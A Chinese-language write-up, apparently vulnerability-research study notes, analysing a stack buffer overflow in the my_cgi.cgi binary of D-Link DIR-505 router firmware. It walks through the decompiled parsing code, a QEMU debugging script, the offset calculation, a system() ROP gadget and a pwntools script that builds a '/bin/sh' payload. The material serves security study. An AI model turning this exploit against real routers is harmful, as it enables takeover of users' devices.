D-Link Dir-505 便携路由器越界漏洞分析

参考链接

《揭秘家用路由器0day漏洞挖掘技术》漏洞分析笔记(三) :: Cougar — Blog (c0ug4r.top)

固件下载&分离

MIPS/DIR505A1_FW108B10.bin at master · ray-cp/MIPS (github.com)

➜  binwalk -Me DIR505A1_FW108B10.bin
......
➜ squashfs-root find . |grep my_cgi.cgi
./usr/bin/my_cgi.cgi
➜  squashfs-root checksec ./usr/bin/my_cgi.cgi
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

漏洞分析

IDA打开/usr/bin/my_cgi.cgi, 搜索字符串storage_path

image-20211109191042272

根据函数名,我们不妨看看get_input_entries

根据书上的结构及IDA反编译结果,我们可以创建如下结构体

00000000 entries         struc  # (sizeof=0x425, mappedto_17)
00000000 name: .byte 36 dup(?)
00000024 value: .byte 1025 dup(?)
00000425 entries ends

从而对该函数进行分析

int __fastcall get_input_entries(entries *_parameters, int content_length)
{
int buf_count; // $s2
int k; // $s0
int auth; // $s1
char *IO_write_base; // $v1
char *v8; // $v0
char ch; // $v1
int (**v10)(FILE *); // $t9
int count; // $lo
int _buf_count; // $s5
entries *parameters; // $s1
int i; // $s2
char path[1024]; // [sp+18h] [-400h] BYREF

buf_count = 0;
k = 0;
auth = 0;
while ( content_length > 0 ) // read post parameters
{
if ( stdin->_fileno )
{
IO_write_base = stdin->_IO_write_base;
v8 = IO_write_base + 1;
if ( IO_write_base < stdin->_IO_write_end )
{
ch = *IO_write_base;
stdin->_IO_write_base = v8;
goto LABEL_8;
}
v10 = (int (**)(FILE *))&_fgetc_unlocked;
}
else
{
v10 = &fgetc;
}
ch = ((int (*)(void))v10)(); // get one char
LABEL_8:
if ( ch == '=' )
{
count = buf_count;
if ( !auth )
{
k = 0;
auth = 1;
goto LABEL_17;
}
LABEL_15:
auth = 1; // WRITE_VALUE
_parameters[count].value[k] = ch; // get value
goto LABEL_16;
}
if ( ch == '&' )
{
++buf_count;
k = 0;
auth = 0; // WRITE_NAME
goto LABEL_17;
}
count = buf_count;
if ( auth )
goto LABEL_15;
_parameters[count].name[k] = ch; // get name
LABEL_16:
++k; // name/value count
LABEL_17:
--content_length;
}
_buf_count = buf_count + 1;
parameters = _parameters;
i = 0;
do
{
if ( strcmp(parameters->name, "storage_path") )
{
if ( !strcmp(parameters->name, "path") )
{
memset(path, 0, sizeof(path));
decode(parameters->value, path);
strcpy(parameters->value, path);
}
replace_special_char(parameters->value);
}
++i;
++parameters;
}
while ( i < _buf_count );
return _buf_count;
}

该函数看似是没有太大问题的,就是对POST中的参数进行格式化,但有一个问题是该函数没有大小限制,get_input_entries格式化POST参数时依赖参数中的content_length将HTTP中提供的POST参数中长度content-length的数据都格式化到堆栈上的局部变量_parameters中, 若content_lenth长度大于buf就可能造成溢出

查看交叉引用

image-20211109194541599

可以定位到如下调用关系

entries my_entries[450];
......
CONTENT_LENGTH = getenv("CONTENT_LENGTH");
if ( CONTENT_LENGTH )
content_length = strtol(CONTENT_LENGTH, 0, 10);
......
memset(my_entries, 0, sizeof(my_entries));
input_entries = get_input_entries(my_entries, content_length);

从调用get_input_entries函数附近的伪代码,可以看出,content_length来自HTTP协议的content-length字段,而结构体my_entries指向,大小为450 * 0x425 = 477450 bytes, 因此调用者和被调用者都没有对传入的数据进行长度限制,可以造成溢出

在这里,我们需要伪造storage_path=xx, 使得函数不会调用replace_special_char()decode()对参数进行解码

动态分析

确定偏移

➜  squashfs-root python3 patternLocOffset.py -c -l 600 -f offset
[*] Create pattern string contains 600 characters ok!
[+] output to offset ok!
[+] take time: 0.0014 s

调试脚本run_cgi.sh

# sudo ./run_cgi.sh
INPUT=`python3 -c "print('storage_path='+'A'*477450+open('offset','r').read())"`
LEN=$(echo ${#INPUT})
PORT="23946"
cp $(which qemu-mips-static) ./qemu
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="manultipart/form-data" -E SCRIPT_NAME="common" -E REQUEST_METHOD="POST" -E REQUEST_URI="/my_cgi.cgi" -g $PORT /usr/bin/my_cgi.cgi 2>/dev/null
rm -f ./qemu

这里需要注意的是:

  • CONTENT_TYPE不能是multipart/form-data

    • 在main函数前面有如下函数,如果CONTENT_TYPEmultipart/form-data, 会直接return 0

    • ```c
      CONTENT_TYPE = getenv(“CONTENT_TYPE”);
      ……
      if ( CONTENT_TYPE && strstr(CONTENT_TYPE, “multipart/form-data”) )
      {

      .......
      goto LABEL_152;
      ......
      goto LABEL_170;
      

      }
      LABEL_152:

              v41 = "back";
      

      LABEL_170:

              ((void (__fastcall *)(const char *))v19)(v41);
              return 0;
      

      - `SCRIPT_NAME`不能是`HNAP1`

      - 在main函数前面有如下函数,如果`SCRIPT_NAME`为`HNAP1`, 会直接`return 0`

      - ```c
      SCRIPT_NAME_1 = getenv("SCRIPT_NAME");
      if ( !SCRIPT_NAME_1 )
      return 0;
      if ( strstr(SCRIPT_NAME_1, "HNAP1") )
      {
      system("killall widgetd > /dev/null");
      v4 = do_hnap();
      if ( v4 == 1 )
      {
      save_entry_to_flash(HIBYTE(which_mode), 0);
      write_lighttpd_404_redirect_info();
      system("killall -SIGSYS lighttpd");
      system("widgetd & > /dev/null");
      }
      else if ( v4 == 2 )
      {
      system("hnap_reboot &");
      }
      return 0;
      }

调试起来后:

image-20211109203005985

计算偏移

➜  squashfs-root python3 patternLocOffset.py -s 0x61374161 -l 600
[*] Create pattern string contains 600 characters ok!
[*] Exact match at offset 22
[+] take time: 0.0002 s

则总偏移为padding = 477450 + 22 = 477472

ROP链构造

书上利用文件存在的system函数进行构造,在函数窗口中进行搜索

image-20211109204903550

查找交叉引用,在get_remote_mac + CC处,找到如下指令

.text:00405B1C                 la      $t9, system
.text:00405B20 li $s1, 0x440000
.text:00405B24 jalr $t9 ; system
.text:00405B28 addiu $a0, $sp, 0x28 # '(' # command
.text:00405B2C lw $gp, 0x18($sp)

这里调用了system(command)函数,且参数command布置在$sp + 0x28处即可

EXP

from pwn import *
context.arch = "mips"
context.endian = "big"

offset = 477472
system_addr = 0x0405B1C
payload = b"A" * offset
payload += b"\x00\x40\x5B\x1C"
payload += b"B" * 0x28
payload += b"/bin/sh\x00"

with open("exploit", "wb") as exploit:
exploit.write(payload)
log.success("Create Exploit Success")

书里到这里就结束了,但在本地调试(非实机)的利用中发现,由于没有开启地址随机化,0x405B1C会导致存在0x00字节

exploit:

image-20211109213815398

IDA调试:

image-20211109213709223